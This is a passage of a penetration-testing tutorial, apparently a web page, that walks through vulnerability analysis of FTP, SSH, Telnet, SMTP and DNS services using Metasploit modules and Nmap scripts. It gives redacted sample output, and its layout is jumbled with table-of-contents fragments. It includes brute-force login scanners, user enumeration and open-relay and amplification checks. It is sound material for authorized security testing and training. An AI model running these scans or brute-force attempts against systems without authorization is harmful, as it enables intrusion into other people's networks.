

Infrastructure PenTest Series : Part 2 - Vulnerability Analysis

So, by using **intelligence gathering** we have completed the normal scanning and banner grabbing. Yay!!. Now, it's time for some **metasploit-fu** and **nmap-fu**. We would go thru almost every port/ service and figure out what information can be retrieved from it and whether it can be exploited or not?

So we start with creating a new workspace in the msfconsole for better work.

```
msfconsole -q -- Starts Metasploit Console quietly
workspace -a <Engagement_Name> -- Add a new workspace with the engagement name
workspace <Engagement_Name> -- Switch to the new workspace
```

Let's import all the nmap xml file (Nmap XML file saved after doing port scan) of different network ranges

```
db_import /root/Documents/Project_Location/Engagement_Name/Internal/Site_10.*.
```

After all the importing, it's important to check what all services/ ports are running to get a feel of different possibilities.

```
services -c port,name -u -o /tmp/ports
^ -u is used for only showing ports which are open.
```

This will write a file in /tmp/ports containing the port number and it's name. info could also be used to get more information.

```
cat /tmp/ports | cut -d , -f2,3 | sort | uniq | tr -d \" | grep -v -E 'port|tc'
```

Table Of Contents

Infrastructure PenTest Series
: Part 2 - Vulnerability
Analysis

- FTP - Port 21
 - Metasploit
 - FTP Version Scanner
 - Anonymous FTP Access Detection
 - FTP Authentication Scanner
 - FTP Bounce Port Scanner
 - Nmap
 - ftp-anon
 - ftp-brute
 - ftp-bounce
- SSH - Port 22
 - Metasploit
 - SSH Version Scanner
 - SSH Brute force
 - Nmap
 - ssh2-enum-algos
 - SSH-Hostkey
 - SSHv1
- Telnet - Port 23
 - Metasploit
 - Telnet version
 - Telnet Login Check Scanner
 - Nmap
 - Telnet-brute
 - Telnet-encryption

This will provide you the sorted ports running on the network which can be then viewed to probe further.

A sample output is

```
***SNIP**  
20,ftp-data  
21,ftp  
22,ssh  
23,landesk-rc  
23,telnet  
24,priv-mail  
25,smtp  
25,smtp-proxy  
***SNIP**
```

Let's move **port by port** and check what metasploit framework and nmap nse has to offer. By no means, this is a complete list, new ports, metasploit modules, nmap nse will be added as used. This post currently covers the below ports/ services. Mostly exploited are Apache Tomcat, JBoss, Java RMI, Jenkins, ISCSI, HP HPDataProtector RCE, IPMI, RTSP, VNC, X11 etc.

- [FTP - Port 21](#)
- [SSH - Port 22](#)
- [Telnet - Port 23](#)
- [SMTP | Port 25 and Submission Port 587](#)
- [DNS - Port 53](#)
- [Finger - Port 79](#)
- [HTTP](#)
- [Webmin](#)
- [Jenkins](#)
- [Apache Tomcat](#)
- [JBoss](#)
- [Lotus Domino httpd](#)
- [IIS](#)
- [VMware ESXi](#)
- [Kerberos - Port 88](#)

- [SMTP | Port 25 and Submission Port 587](#)
 - Metasploit
 - SMTP_Version
 - SMTP Open Relays
 - SMTP User Enumeration Utility
 - Nmap NSE
 - SMTP-brute
 - SMTP-Commands
 - SMTP-enum-users
 - SMTP-open-relay
 - Other
 - SMTP Commands
- [DNS - Port 53](#)
 - Metasploit
 - DNS Bruteforce Enumeration
 - DNS Basic Information Enumeration
 - DNS Reverse Lookup Enumeration
 - DNS Common Service Record Enumeration
 - DNS Record Scanner and Enumerator
 - DNS Amplification Scanner
 - DNS Non-Recursive Record Scraper
 - Nmap
 - Broadcast-dns-service-discovery
 - DNS-blacklist
 - DNS-brute

- [POP3 - Port 110](#)
- [RPCInfo - Port 111](#)
- [Ident - Port 113](#)
- [NetBios](#)
- [SNMP - Port 161](#)
- [Check Point FireWall-1 Topology - Port 264](#)
- [LDAP - Port 389](#)
- [SMB - Port 445](#)
- [rexec - Port 512](#)
- [rlogin - Port 513](#)
- [RSH - port 514](#)
- [AFP - Apple Filing Protocol - Port 548](#)
- [Microsoft Windows RPC Services | Port 135 and Microsoft RPC Services over HTTP | Port 593](#)
- [HTTPS - Port 443 and 8443](#)
- [RTSP - Port 554 and 8554](#)
- [Rsync - Port 873](#)
- [Java RMI - Port 1099](#)
- [MS-SQL | Port 1433](#)
- [Oracle - Port 1521](#)
- [NFS - Port 2049](#)
- [iSCSI - Port 3260](#)
- [SAP Router | Port 3299](#)
- [MySQL | Port 3306](#)
- [Postgresql - Port 5432](#)
- [HPDataProtector RCE - Port 5555](#)
- [VNC - Port 5900](#)
- [CouchDB - Port 5984](#)
- [Other](#)
- [Redis - Port 6379](#)
- [AJP Apache JServ Protocol - Port 8009](#)
- [PJP - Port 9100](#)
- [Apache Cassandra - Port 9160](#)
- [DNS-Cache-snoop](#)
 - [DNS-Check-zone](#)
 - [DNS-nsid](#)
 - [DNS-recursion](#)
 - [DNS-Service-Discovery](#)
 - [DNS-SRV-Enum](#)
 - [DNS-Zone-Transfer](#)
- [Finger - Port 79](#)
 - [Metasploit](#)
 - [Finger Service User Enumerator](#)
 - [Nmap](#)
 - [Finger](#)
 - [Other](#)
 - [finger](#)
- [HTTP](#)
 - [Webmin](#)
 - [Metasploit](#)
 - [Jenkins](#)
 - [Metasploit](#)
 - [Apache Tomcat](#)
 - [JBoss](#)
 - [Lotus Domino httpd](#)
 - [IIS](#)
 - [VMware ESXi](#)
- [Kerberos - Port 88](#)
 - [Nmap](#)
 - [krb5-enum-users](#)
- [POP3 - Port 110](#)
 - [Metasploit](#)
 - [POP3 Banner Grabber](#)
 - [POP3 Login Utility](#)
 - [Nmap](#)
 - [POP3-capabilities](#)
 - [POP3-brute](#)

- [Network Data Management Protocol \(ndmp\) - Port 10000](#)
- [Memcache - Port 11211](#)
- [MongoDB - Port 27017 and Port 27018](#)
- [EthernetIP-TCP-UDP - Port 44818](#)
- [UDP BACNet - Port 47808](#)

FTP - Port 21

So, on a network we can find multiple versions of ftp servers running. Let's find out by

```
services -p 21 -c info -o /tmp/ftpinfo
cat /tmp/ftpinfo | cut -d , -f2 | sort | uniq
```

A Sample output is

```
"Alfresco Document Management System ftpd"
"D-Link Printer Server ftpd"
"FreeBSD ftpd 6.00LS"
"HP JetDirect ftpd"
"HP LaserJet P4014 printer ftpd"
"Konica Minolta bizhub printer ftpd"
"Microsoft ftpd"
"National Instruments LabVIEW ftpd"
"NetBSD lukemftpd"
"Nortel CES1010E router ftpd"
"oftpd"
"OpenBSD ftpd 6.4 Linux port 0.17"
"PacketShaper ftpd"
"ProFTPD 1.3.3"
"Pure-FTPd"
"Ricoh Aficio MP 2000 printer ftpd 6.15"
"Ricoh Aficio MP 2000 printer ftpd 6.17"
"Ricoh Aficio MP 2352 printer ftpd 10.67"
"Ricoh Aficio MP 4002 printer ftpd 11.103"
"Ricoh Aficio MP W3600 printer ftpd 6.15"
"Ricoh Aficio SP 3500SF printer ftpd 75905e"
"vsftpd"
"vsftpd 2.0.4+ (ext.3)"
"vsftpd 2.0.5"
"vsftpd 2.0.8 or later"
```

- Other
 - POP3 Commands
- RPCInfo - Port 111
 - Metasploit
 - NFS Mount Scanner
 - Other
 - rpcinfo
- Ident - Port 113
 - Nmap
 - Auth-owners
 - Other
 - Ident-user-enum
- NNTP Network News Transfer Protocol
 - Commands
 - CAPABILITIES
 - MODE READER
 - QUIT
 - LISTGROUP
 - ARTICLE
 - POST
- NetBios
 - Nmap
 - broadcast-netbios-master-browser
- SNMP - Port 161
 - Metasploit
 - SNMP Community Scanner
 - SNMP Enumeration Module
- Check Point FireWall-1 Topology - Port 264
 - Metasploit
 - CheckPoint Firewall-1 SecuRemote Topology Service

```
"vsftpd 2.2.2"
"vsftpd 3.0.2"
"vsftpd (before 2.0.8) or WU-FTPd"
"WU-FTPd or MIT Kerberos ftpd 5.60"
"WU-FTPd or MIT Kerberos ftpd 6.00L"
```

Metasploit

FTP Version Scanner

Detect the ftp version.

This can be done using

```
use auxiliary/scanner/ftp/ftp_version
services -p 21 -R
```

Sample Output:

```
[*] 172.16.xx.xx:21 FTP Banner: '220 BDL095XXXX FTP server ready.\x0d\x0a'
[*] 172.16.xx.xx:21 FTP Banner: '220 (vsFTPd 2.0.5)\x0d\x0a'
[*] 172.16.xx.xx:21 FTP Banner: '220 ProFTPd 1.3.2 Server (ProFTPd Default Ins
[*] 172.16.xx.xx:21 FTP Banner: '220 pSCn-D1 FTP server (Version 4.2 Tue Feb 1
[*] 172.16.xx.xx:21 FTP Banner: '220 pSCn-Dev FTP server (Version 4.2 Tue Feb
[*] Auxiliary module execution completed
```

Anonymous FTP Access Detection

Detect anonymous (read/ write) FTP server access.

A sample of results is

```
[+] 10.10.xx.xx:21 - Anonymous READ/WRITE (220 Microsoft FTP Service)
[+] 10.10.xx.xx:21 - Anonymous READ (220 Microsoft FTP Service)
```

FTP Authentication Scanner

Hostname Disclosure

- LDAP - Port 389
 - Nmap
 - LDAP-rootdse
 - ldap-search
 - ldap-brute
 - Other
 - ldapsearch
- SMB - Port 445
 - Metasploit
 - SMB Version Detection
- rexec - Port 512
 - Metasploit
 - rexec Authentication Scanner
 - Other
 - rlogin
 - Nmap
 - rexec-brute
- rlogin - Port 513
 - Metasploit
 - rlogin Authentication Scanner
- RSH - port 514
 - Metasploit
 - rsh Authentication Scanner
 - Other
 - rsh
- AFP - Apple Filing Protocol - Port 548
 - Metasploit
 - Apple Filing Protocol Info Enumerator
 - Apple Filing Protocol Login Utility

FTP Authentication Scanner which will test FTP logins on a range of machines and report successful logins.

```
use auxiliary/scanner/ftp/ftp_login
services -p 21 -R
```

Sample Output:

```
Yet to run
```

FTP Bounce Port Scanner

Enumerate TCP services via the FTP bounce PORT/LIST method.

```
use auxiliary/scanner/portscan/ftpbounce
```

Nmap

ftp-anon

[ftp-anon.nse](#) : Checks if an FTP server allows anonymous logins. If anonymous is allowed, gets a directory listing of the root directory and highlights writeable files.

Sample Output:

```
nmap -sV --script ftp-anon -p 21 10.10.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 21:53 IST
Nmap scan report for 10.10.xx.xx
Host is up (0.018s latency).
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.2.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 0          0          4096 Jun 25  2011 pub
Service Info: OS: Unix
```

- Nmap
 - afp-serverinfo
 - afp-brute
 - afp-ls
 - afp-showmount
 - afp-path-vuln
- Microsoft Windows RPC Services | Port 135 and Microsoft RPC Services over HTTP | Port 593
 - Metasploit
 - Endpoint Mapper Service Discovery
 - Hidden DCERPC Service Discovery
 - Remote Management Interface Discovery
 - DCERPC TCP Service Auditor
 - Other
 - rpcdump
- HTTPS - Port 443 and 8443
 - Metasploit
 - HTTP SSL Certificate Information
 - HTTP SSL/TLS Version Detection (POODLE scanner)
 - OpenSSL Server-Side ChangeCipherSpec Injection Scanner
 - OpenSSL Heartbeat (Heartbleed) Information Leak
 - Nmap
 - ssl-cert
 - ssl-dh-params

ftp-brute

[ftp-brute.nse](#) : Performs brute force password auditing against FTP servers.

ftp-bounce

[ftp-bounce.nse](#) : Checks to see if an FTP server allows port scanning using the FTP bounce method.

SSH - Port 22

Metasploit

SSH Version Scanner

Detect SSH version.

```
use auxiliary/scanner/ssh/ssh_version
services -p 22 -u -R
```

Sample output

```
[*] 10.23.xx.xx:22 SSH server version: SSH-2.0-OpenSSH_5.8 (service.version=5.8)
[*] 10.23.xx.xx:22 SSH server version: SSH-2.0-9nroL
[*] 10.23.xx.xx:22 SSH server version: SSH-1.99-Cisco-1.25 (service.version=1.99)
```

There's a auxiliary module to try

SSH Brute force

SSH Login Check Scanner will test ssh logins on a range of machines and report successful logins.
Caution: BruteForce.

- [ssl-google-cert-catalog](#)
- [sslv2](#)
- [ssl-ccs-injection](#)
- [ssl-date](#)
- [ssl-enum-ciphers](#)
- [ssl-heartbleed](#)
- [ssl-poodle](#)
- [RTSP - Port 554 and 8554](#)
 - [Nmap](#)
 - [rtsp-methods](#)
 - [rtsp-url-brute](#)
 - [Other](#)
 - [Cameradar](#)
 - [Blogs](#)
- [Rsync - Port 873](#)
 - [Metasploit](#)
 - [List Rsync Modules](#)
 - [Nmap](#)
 - [rsync-list-modules](#)
 - [Other](#)
 - [rsync](#)
- [Java RMI - Port 1099](#)
 - [Metasploit](#)
 - [Java RMI Server Insecure Endpoint Code Execution Scanner](#)
 - [Java RMI Server Insecure Default Configuration Java Code Execution](#)
 - [Nmap](#)
 - [rmi-vuln-classloader](#)
- [MS-SQL | Port 1433](#)
 - [Metasploit](#)
 - [MSSQL Ping Utility](#)

```
use auxiliary/scanner/ssh/ssh_login
services -p 22 -u -R
```

Nmap

has three NSE

ssh2-enum-algos

[ssh2-enum-algos.nse](#) : Reports the number of algorithms (for encryption, compression, etc.) that the target SSH2 server offers. If verbosity is set, the offered algorithms are each listed by type.

Sample Output:

```
nmap --script ssh2-enum-algos -p 22 -n 103.206.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 22:04 IST
Nmap scan report for 103.206.xx.xx
Host is up (0.018s latency).
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh2-enum-algos:
|   kex_algorithms: (4)
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group-exchange-sha1
|       diffie-hellman-group14-sha1
|       diffie-hellman-group1-sha1
|   server_host_key_algorithms: (2)
|       ssh-dss
|       ssh-rsa
|   encryption_algorithms: (9)
|       aes128-ctr
|       aes192-ctr
|       aes256-ctr
|       aes128-cbc
|       aes192-cbc
|       aes256-cbc
|       blowfish-cbc
|       3des-cbc
|       none
|   mac_algorithms: (2)
```

- MSSQL Login Utility
- Microsoft SQL Server Configuration Enumerator
- Microsoft SQL Server xp_cmdshell Command Execution
- Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
- Microsoft SQL Server Find and Sample Data
- Microsoft SQL Server Generic Query
- MSSQL Schema Dump
- Other
 - tsql
 - Microsoft SQL Server Management
 - Default MS-SQL System Tables
- Reference - Hacking SQL Server Stored Procedures
 - Part 1: (un)Trustworthy Databases
 - Part 2: User Impersonation
 - Part 3: SQL Injection
 - Part 4: Enumerating Domain Accounts
- Reference - Other Blogs
 - MSSQL-MITM


```
|      hmac-sha1
|      hmac-md5
|      compression_algorithms: (1)
|_     none
```

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

SSH-Hostkey

[ssh-hostkey.nse](#) : Shows SSH hostkeys

Sample Output:

```
nmap --script ssh-hostkey -p 22 -n 103.206.xx.xx --script-args ssh_hostkey=ful
Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 22:07 IST
Nmap scan report for 103.206.xx.xx
Host is up (0.019s latency).
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey:
|   ssh-dss AAAAB3NzaC1kc3MAAACBA0ohTo8BeSsafI78mCTp7vz1ETkdSXNj8wgrYMD+DOEDpc
|_  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDI RocXKgi0l3kZeVNEPlMXBBDj4WYAPFzNgf
Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds
```

SSHv1

[sshv1.nse](#) : Checks if an SSH server supports the obsolete and less secure SSH Protocol Version 1.

Sample Output:

```
nmap --script sshv1 -p 22 -n 203.134.xx.xx
Starting Nmap 7.01 (https://nmap.org) at 2016-04-03 23:16 IST
Nmap scan report for 203.134.xx.xx
Host is up (0.042s latency).
PORT      STATE SERVICE
```

- Others
- Oracle - Port 1521
 - Oracle Attack Methodology
 - Locate Oracle Systems
 - Determine Oracle Version
 - Determine Oracle SID
 - Guess/Bruteforce USER/PASS
 - Privilege Escalation via SQL Injection
 - Manipulate Data/Post Exploitation
 - Cover Tracks
- NFS - Port 2049
 - nfsshell
 - Using nfsshell
- ISCSI - Port 3260
 - Nmap
 - iscsi-info
 - Other
 - iscsiadm
- SAP Router | Port 3299
- MySQL | Port 3306
 - Metasploit
 - MySQL Server Version Enumeration
 - MySQL Login Utility
 - MYSQL Password Hashdump
 - Other
 - mysql
- Postgresql - Port 5432
 - Metasploit

```
22/tcp open  ssh
|_sshv1: Server supports SSHv1
```

Telnet - Port 23

Metasploit

Telnet version

Detect telnet version.

```
use auxiliary/scanner/telnet/telnet_version
services -p 23 -u -R
```

Sample Output

```
[*] 10.13.xx.xx:23 TELNET (ttyp0)\x0d\x0a\x0d\x0alogin:
[*] 10.13.xx.xx:23 TELNET User Access Verification\x0a\x0aUsername:
```

One sad thing is telnet_version overwrites the Nmap banner, which is most probably not good. Need to check how we can avoid this. maybe not run version modules?

We could have used nmap banners for telnet for example: below for the SNMP modules. As routers/ switches are mostly uses SNMP.

```
10.23.xx.xx 23 tcp telnet open Usually a Cisco/3com switch
10.23.xx.xx 23 tcp telnet open Aruba switch telnetd
10.87.xx.xx 23 tcp telnet open Dell PowerConnect switch telnetd
10.10.xx.xx 23 tcp telnet open Cisco router telnetd
10.10.xx.xx 23 tcp telnet open Pirelli NetGate VOIP v2 broadbar
```

Telnet Login Check Scanner

Test a telnet login on a range of machines and report successful logins.

- PostgreSQL Version Probe
- PostgreSQL Login Utility
- PostgreSQL Database Name Command Line Flag Injection
- HPDataProtector RCE - Port 5555
- VNC - Port 5900
 - Metasploit
 - VNC Authentication None Detection
 - VNC Authentication Scanner
 - VNC Password
- CouchDB - Port 5984
 - Other
 - Database List
 - Document List
 - Read Value Document
- X11 - Port 6000
 - Metasploit
 - X11 No-Auth Scanner
 - X11 Keyboard Command Injection
 - Other
 - xspy
 - xdpinfo
 - xwd
 - xwininfo
 - XWatchwin
- Redis - Port 6379
 - Nmap
 - Metasploit
 - Other

```
use auxiliary/scanner/telnet/telnet_login
services -p 23 -u -R
```

Nmap

Two NSEs

Telnet-brute

[telnet-brute.nse](#) : Performs brute-force password auditing against telnet servers.

and

Telnet-encryption

[telnet-encryption.nse](#) : Determines whether the encryption option is supported on a remote telnet server.

SMTP | Port 25 and Submission Port 587

Metasploit

SMTP_Version

SMTP Banner Grabber.

```
use auxiliary/scanner/smtp/smtp_version
services -p 25 -u -R
```

Sample Output

```
[*] 10.10.xx.xx:25 SMTP 220 xxxx.example.com Microsoft ESMTP MAIL Service, Ver
[*] 10.10.xx.xx:25 SMTP 220 smtpsrv.example.com ESMTP Sendmail; Thu, 3 Mar 201
```

- AJP Apache JServ Protocol - Port 8009
- PJP - Port 9100
 - Metasploit
 - Printer Version Information Scanner
 - Nmap
 - PJP-ready-message
- Apache Cassandra - Port 9160
 - NMap
 - Cassandra-info
 - Cassandra-brute
- Network Data Management Protocol (ndmp) - Port 10000
 - Nmap
 - ndmp-fs-info
 - ndmp-version
- Memcache - Port 11211
 - Nmap
 - memcached-info
 - Other
- MongoDB - Port 27017 and Port 27018
 - Metasploit
 - MongoDB Login Utility
 - Nmap
 - Mongoddb-info
 - Mongoddb-database
 - Mongoddb-BruteForce
 - Other
 - Connection String
 - Mongo-shell
- EthernetIP-TCP-UDP - Port 44818

SMTP Open Relays

Tests if an SMTP server will accept (via a code 250) an e-mail by using a variation of testing methods

```
use auxiliary/scanner/smtp/smtp_relay
services -p 25 -u -R
```

You might want to change MAILFROM and MAILTO, if you want to see if they are actual open relays client might receive emails.

Sample Output:

```
[+] 172.16.xx.xx:25 - Potential open SMTP relay detected: - MAIL FROM:<sender@
[*] 172.16.xx.xx:25 - No relay detected
[+] 172.16.xx.xx:25 - Potential open SMTP relay detected: - MAIL FROM:<sender@
```

SMTP User Enumeration Utility

Allows the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of users aliases and lists of e-mail (mailing lists)). Through the implementation of these SMTP commands can reveal a list of valid users. User files contains only Unix usernames so it skips the Microsoft based Email SMTP Server. This can be changed using UNIXONLY option and custom user list can also be provided.

```
use auxiliary/scanner/smtp/smtp_enum
services -p 25 -u -R
```

Sample Output

```
[*] 10.10.xx.xx:25 Skipping microsoft (220 ftpsrv Microsoft ESMTP MAIL Service
[+] 10.10.xx.xx:25 Users found: adm, admin, avahi, avahi-autoipd, bin, daemon,
```

Nmap NSE

- Nmap
 - enip-enumerate
- UDP BACNet - Port 47808
 - BACNet-discover-enumerate
 - Others
- Changelog

This Page

[Show Source](#)
[Show on GitHub](#)
[Edit on GitHub](#)

Quick search

SMTP-brute

[smtp-brute.nse](#) : Performs brute force password auditing against SMTP servers using either LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 or NTLM authentication.

SMTP-Commands

[smtp-commands.nse](#) : Attempts to use EHLO and HELP to gather the Extended commands supported by an SMTP server.

SMTP-enum-users

[smtp-enum-users.nse](#) : Attempts to enumerate the users on a SMTP server by issuing the VRFY, EXPN or RCPT TO commands. The goal of this script is to discover all the user accounts in the remote system. Similar to SMTP_ENUM in metasploit.

SMTP-open-relay

[smtp-open-relay.nse](#) : Attempts to relay mail by issuing a predefined combination of SMTP commands. The goal of this script is to tell if a SMTP server is vulnerable to mail relaying.

Sample Output:

```
nmap -iL email_servers -v --script=smtp-open-relay -p 25
Nmap scan report for 10.10.xx.xx
Host is up (0.00039s latency).
PORT      STATE SERVICE
25/tcp    open  smtp
| smtp-open-relay: Server is an open relay (14/16 tests)
| MAIL FROM:<> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@nmap.scanme.org> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@sysmailsrv.example.com> -> RCPT TO:<relaytest@nmap.scar
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<relaytest%nmap.scanme.org@[1
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<relaytest%nmap.scanme.org@sy
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<"relaytest@nmap.scanme.org">
```

```
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<"relaytest%nmap.scanme.org">
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<"relaytest@nmap.scanme.org"@
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<@[10.10.8.136]:relaytest@nma
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<@sysmailsrv.example.com:rela
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<nmap.scanme.org!relaytest>
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<nmap.scanme.org!relaytest@[1
| MAIL FROM:<antispam@[10.10.xx.xx]> -> RCPT TO:<nmap.scanme.org!relaytest@sy
MAC Address: 00:50:56:B2:21:A9 (VMware)
```

Other

SMTP Commands

SMTP supports the below commands:

```
ATRN    Authenticated TURN
AUTH    Authentication
BDAT    Binary data
BURL    Remote content
DATA    The actual email message to be sent. This command is terminated with a
EHLO    Extended HELO
ETRN    Extended turn
EXPN    Expand
HELO    Identify yourself to the SMTP server.
HELP    Show available commands
MAIL    Send mail from email account
MAIL FROM: me@mydomain.com
NOOP    No-op. Keeps you connection open.
ONEX    One message transaction only
QUIT    End session
RCPT    Send email to recipient
RCPT TO: you@yourdomain.com
RSET    Reset
SAML    Send and mail
SEND    Send
SOML    Send or mail
STARTTLS
SUBMITTER    SMTP responsible submitter
TURN    Turn
VERB    Verbose
VRFY    Verify
```

The following is an actual SMTP session. All sessions must start with HELO and end with QUIT.

```
HELO my.server.com
MAIL FROM: <me@mydomain.com>
RCPT TO: <you@yourdomain.com>
DATA
From: Danny Dolittle
To: Sarah Smith
Subject: Email sample
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii

This is a test email for you to read.
.
QUIT
```

DNS - Port 53

Metasploit

DNS Bruteforce Enumeration

Uses a dictionary to perform a bruteforce attack to enumerate hostnames and subdomains available under a given domain

```
use auxiliary/gather/dns_bruteforce
```

Sample Output:

```
[+] Host autodiscover.example.com with address 10.10.xx.xx found
[+] Host b2b.example.com with address 10.10.xx.xx found
[+] Host blog.example.com with address 10.10.xx.xx found
```

DNS Basic Information Enumeration

Module enumerates basic DNS information for a given domain. The module gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name servers), SOA (start of authority) and MX (mail servers) records for a given domain. In addition, this module retrieves information stored in TXT records.

```
use auxiliary/gather/dns_info
```

Sample Output:

```
[*] Enumerating example.com
[+] example.com - Address 93.184.xx.xx found. Record type: A
[+] example.com - Address 2606:2800:220:1:248:1893:25c8:1946 found. Record type: AAAA
[+] example.com - Name server a.iana-servers.net (199.43.xx.xx) found. Record type: NS
[+] example.com - Name server a.iana-servers.net (2001:500:8c::53) found. Record type: NS
[+] example.com - Name server b.iana-servers.net (199.43.xx.xx) found. Record type: NS
[+] example.com - Name server b.iana-servers.net (2001:500:8d::53) found. Record type: NS
[+] example.com - sns.dns.icann.org (199.4.xx.xx) found. Record type: SOA
[+] example.com - sns.dns.icann.org (64:ff9b::c704:1c1a) found. Record type: SOA
[+] example.com - Text info found: v=spf1 -all . Record type: TXT
[+] example.com - Text info found: $Id: example.com 4415 2015-08-24 20:12:23Z
[*] Auxiliary module execution completed
```

DNS Reverse Lookup Enumeration

Module performs DNS reverse lookup against a given IP range in order to retrieve valid addresses and names.

```
use auxiliary/gather/dns_reverse_lookup
```

DNS Common Service Record Enumeration

Module enumerates common DNS service records in a given domain.

Sample Output:


```
use auxiliary/gather/dns_srv_enum
set domain example.com
run

[*] Enumerating SRV Records for example.com
[+] Host: sipfed.online.lync.com IP: 10.10.xx.xx Service: sipfederationtls Pro
[+] Host: sipfed.online.lync.com IP: 2a01:XXX:XXXX:2::b Service: sipfederation
[*] Auxiliary module execution completed
```

DNS Record Scanner and Enumerator

Module can be used to gather information about a domain from a given DNS server by performing various DNS queries such as zone transfers, reverse lookups, SRV record bruteforcing, and other techniques.

```
use auxiliary/gather/enum_dns
```

Sample Output:

```
[*] Setting DNS Server to zonetransfer.me NS: 81.4.xx.xx
[*] Retrieving general DNS records
[*] Domain: zonetransfer.me IP address: 217.147.xx.xx Record: A
[*] Name: ASPMX.L.GOOGLE.COM. Preference: 0 Record: MX
[*] Name: ASPMX3.GOOGLEMAIL.COM. Preference: 20 Record: MX
[*] Name: ALT1.ASPMX.L.GOOGLE.COM. Preference: 10 Record: MX
[*] Name: ASPMX5.GOOGLEMAIL.COM. Preference: 20 Record: MX
[*] Name: ASPMX2.GOOGLEMAIL.COM. Preference: 20 Record: MX
[*] Name: ASPMX4.GOOGLEMAIL.COM. Preference: 20 Record: MX
[*] Name: ALT2.ASPMX.L.GOOGLE.COM. Preference: 10 Record: MX
[*] zonetransfer.me.      301      IN      TXT
[*] Text: zonetransfer.me.      301      IN      TXT
[*] Performing zone transfer against all nameservers in zonetransfer.me
[*] Testing nameserver: nsztm2.digi.ninja.
W, [2016-04-05T22:53:16.834590 #15019] WARN -- : AXFR query, switching to TCP
W, [2016-04-05T22:53:17.490698 #15019] WARN -- : Error parsing axfr response:
W, [2016-04-05T22:53:32.047468 #15019] WARN -- : Nameserver 167.88.xx.xx not
F, [2016-04-05T22:53:32.047746 #15019] FATAL -- : No response from nameservers
[-] Zone transfer failed (length was zero)
[*] Testing nameserver: nsztml.digi.ninja.
```

```
W, [2016-04-05T22:53:33.269318 #15019] WARN -- : AXFR query, switching to TCP
W, [2016-04-05T22:53:33.804121 #15019] WARN -- : Error parsing axfr response:
W, [2016-04-05T22:53:48.481319 #15019] WARN -- : Nameserver 81.4.xx.xx not re
F, [2016-04-05T22:53:48.481519 #15019] FATAL -- : No response from nameservers
[-] Zone transfer failed (length was zero)
[*] Enumerating SRV records for zonetransfer.me
[*] SRV Record: _sip._tcp.zonetransfer.me Host: www.zonetransfer.me. Port: 506
[*] Done
[*] Auxiliary module execution completed
```

Two interesting metasploit modules which we found are

DNS Amplification Scanner

Test for the DNS Amplification Tests.

```
auxiliary/scanner/dns/dns_amp
services -p 53 -u -R
```

Sample Output:

```
[*] Sending 67 bytes to each host using the IN ANY isc.org request
[+] 10.10.xx.xx:53 - Response is 401 bytes [5.99x Amplification]
[+] 10.10.xx.xx:53 - Response is 417 bytes [6.22x Amplification]
[+] 10.10.xx.xx:53 - Response is 401 bytes [5.99x Amplification]
[+] 10.10.xx.xx:53 - Response is 230 bytes [3.43x Amplification]
```

DNS Non-Recursive Record Scraper

Can be used to scrape records that have been cached by a specific nameserver. Thinking of what all can be discovered from this module is the antivirus softwares used by the company, websites visited by the employees. It uses dns norecurse option.

```
use auxiliary/gather/dns_cache_scraper
```

Sample Output:

```
[*] Making queries against 103.8.xx.xx
[+] dnl-01.geo.kaspersky.com - Found
[+] downloads2.kaspersky-labs.com - Found
[+] liveupdate.symantecliveupdate.com - Found
[+] liveupdate.symantec.com - Found
[+] update.symantec.com - Found
[+] update.nai.com - Found
[+] guru.avg.com - Found
[*] Auxiliary module execution completed
```

Nmap

Nmap has around 19-20 NSE Scripts for DNS, we haven't mentioned all the NSE here, only which we were able to use.:

Broadcast-dns-service-discovery

[broadcast-dns-service-discovery.nse](#) : Attempts to discover hosts' services using the DNS Service Discovery protocol. It sends a multicast DNS-SD query and collects all the responses.

Sample Output:

```
nmap --script=broadcast-dns-service-discovery

Starting Nmap 7.01 (https://nmap.org) at 2016-04-12 14:53 IST
Pre-scan script results:
| broadcast-dns-service-discovery:
|   172.30.xx.xx
|     9/tcp workstation
|       Address=172.30.xx.xx fe80:0:0:0:3e97:eff:fe9a:51b
|     22/tcp udisks-ssh
|       Address=172.30.xx.xx fe80:0:0:0:3e97:eff:fe9a:51b
|   172.30.xx.xx
|     2020/tcp teamviewer
|       DyngateID=164005815
|       Token=CrzebHH5rkzIEBsP
|       UUID=119e36d8-4366-4495-9e13-c44be02851f0
|       Address=172.30.xx.xx fe80:0:0:0:69ab:44d5:e21d:738e
|_
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 7.24 seconds
```

It's surprising why teamviewer will broadcast its ID, then we mostly need 4 digit pin just to control the machine.

DNS-blacklist

[dns-blacklist.nse](#) (External IP Only) Checks target IP addresses against multiple DNS anti-spam and open proxy blacklists and returns a list of services for which an IP has been flagged

DNS-brute

